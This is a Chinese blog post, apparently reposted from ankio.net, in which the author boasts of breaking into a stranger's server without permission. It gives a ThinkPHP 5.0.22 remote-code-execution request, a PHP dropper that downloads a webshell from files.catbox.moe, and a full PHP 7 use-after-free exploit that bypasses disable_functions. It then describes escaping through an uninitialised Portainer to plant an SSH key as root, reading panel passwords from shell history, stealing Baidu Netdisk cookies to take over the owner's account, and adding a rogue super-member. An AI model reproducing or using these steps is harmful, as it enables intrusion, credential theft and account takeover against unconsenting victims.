心血来潮,翻到一个站点,以前简单看了下但是没打~
大保健#
先来一遍 Goby 大保健套餐也没指望能扫到漏洞,重点关注下端口就行
- 22 ssh 端口
- 80/443 web 端口
- 888 phpMyadmin 服务端口(宝塔面板默认的 phpMyAdmin 服务端口)
- 9000 容器管理工具 Portainer 管理端口
ThinkPHP 远程命令执行#
这个站点忘了关 thinkphp 的调试模式,随手瞅瞅就搞出了 thinkphp 的报错页面~
thinkphp 5.0.22 存在远程命令执行漏洞,一般的 EXP 长这样,原理就是通过 invokefunction
调用 call_user_func_array
实现远程命令执行,vars
变量表示参数。
GET /index.php?
s=index/think/app/invokefunction
&function=call_user_func_array
&vars[0]=phpinfo
&vars[1][]=4
值得注意的是,这个网站并没有 index
模块,只有 admin
模块,所以需要将 index
替换为 admin
(你问我怎么知道?你去用 thinkphp 开发不就知道了~)
可以执行命令就想办法写个马上去~
用 https://files.catbox.moe
生成一个大马的直链,写个脚本来下载大马
<?php
$options = array("ssl"=>array("verify_peer"=>false, "verify_peer_name"=>false,));
$context = stream_context_create($options);
$data = file_get_contents("https://files.catbox.moe/z6eajy.php", false, $context);
file_put_contents("/www/wwwroot/export/export/public/i.php",$data);
echo "ok";
下面是完整的数据包:
GET /index.php?
s=admin/think/app/invokefunction
&function=call_user_func_array
&vars[0]=file_put_contents
&vars[1][]=/www/wwwroot/export/export/public/test.php
&vars[1][]=%3C%3Fphp%0A%0A%24options%20%3D%20array(%22ssl%22%3D%3Earray(%22verify_peer%22%3D%3Efalse%2C%20%22verify_peer_name%22%3D%3Efalse%2C))%3B%0A%24context%20%3D%20stream_context_create(%24options)%3B%0A%24data%20%3D%20file_get_contents(%22https%3A%2F%2Ffiles.catbox.moe%2Fz6eajy.php%22%2C%20false%2C%20%24context)%3B%0Afile_put_contents(%22%2Fwww%2Fwwwroot%2Fexport%2Fexport%2Fpublic%2Fi.php%22%2C%24data)%3B%0Aecho%20%22ok%22%3B%0A
上面就表示,将下载大马的脚本存储到/www/wwwroot/export/export/public/test.php` 文件来,文件路径可以通过 ThinkPHP 的报错获得。
我们直接访问 test.php
就可以将大马下载到 /www/wwwroot/export/export/public/i.php
接着访问大马~
- Linux 内核是 3.10.0 的,理论上有漏洞,不过不要抱太大希望。
- PHP 版本是 7.2,禁用了一些命令执行的函数,但是
disable_functions
防不住我们~
PHP 命令执行绕过#
针对 PHP7.0-7.4 的 exp 如下:
<?php
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
执行 id
看了下,不出意外是 www 权限~
Linux 内核提权漏洞利用#
使用
脚本
简单探测下,发现一堆疑似存在的漏洞~
不过试了几个没成功,也忘了截图...
其他信息收集#
- 宝塔面板
通过文件浏览可以很明显看到这个服务器有宝塔面板的特征
Docker 容器逃逸#
Web 端口研究了半天没什么进展,就跑去看看 9000 端口了
发现他的 Portainer
虽然启动了,但是还没初始化,我就顺路帮他初始化了~
可以看到跑了一堆容器
一般情况下 docker 是采用 root 权限运行,宿主机和容器共享 root 用户。
随便进一个容器看下,默认就是 root 权限。
我们重新起一个容器,并挂载宿主机 root 目录到容器下的 root 目录
本机创建 ssh 公钥和私钥
并将公钥写入容器的 /root/.ssh/authorized_keys
文件中,为了避免覆盖原有的 root 公钥,先进行备份。
写入公钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzpBCqkLEtSxxnVInGWNQf1uQH3ehWZt+YYrT0GJX3yim1UBJS1+xvSwx0Ta3zHFDQZo1Di4pi8m+RQLn9gWMRdQO4z6301+ij0RmDCMuthGsStdbOsgcHVkUj66YrGf5ehMzZR041+5WIn95ALi8vtNPyD1A+OAPwhNqW2c4WKGBcTrgZA+sg6Z0WbGkPe9sGO0OI0GL7qZwm6jtuOJ9YKqIa4dYOWVM1tJX9d8m0wZl8EgpaS4Xio26iTBNxFL0kC0CkQgWkobPlEXF+x/UNWJxhMLdGLqt+TmDqptedy1F9v5yQxkLrUtM0wTJM2Ysvur7+XCdKNdippeLwmlfTAuofw/IJVngq770IlwFu1OP9iGOTGZ8Tu5aFNKRNBhQaXq1jwypqooo3Vy8XYt8ahXSpFqNl8L8i7j8sAg86amkAcmCYuOW9WwJUi/pW3vxJzvz0hejkKEQ60NneZDewe3Cxy4tLs2tTtXJNMcEyDMlHE54KGV7w8znxQJgWho0= " >> /root/.ssh/authorized_keys
使用私钥进行登录
以 root 权限登录成功
宝塔面板#
使用 bt
获取宝塔面板登录信息
不过这个登录信息始终无法登录,推测修改过密码,使用 history
命令查看历史更改,发现一个修改密码的命令
试了下,登录成功。
百度网盘#
容器跑的是百度网盘的采集器,不出意外在某个目录找到了百度网盘的 Cookie
通过偷天换日之法~替换本地浏览器百度网盘的 Cookie,成功登录他的百度网盘
我感觉百度网盘的羊毛都被他薅秃了...
百度网盘采集器#
通过删除配置文件进行重新注册登录后台~
登录成功
将配置文件修改回去,就可以看到会员列表
偷摸加个超级会员进去,就可以从前台登录啦~
文章来源:ankio.net
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论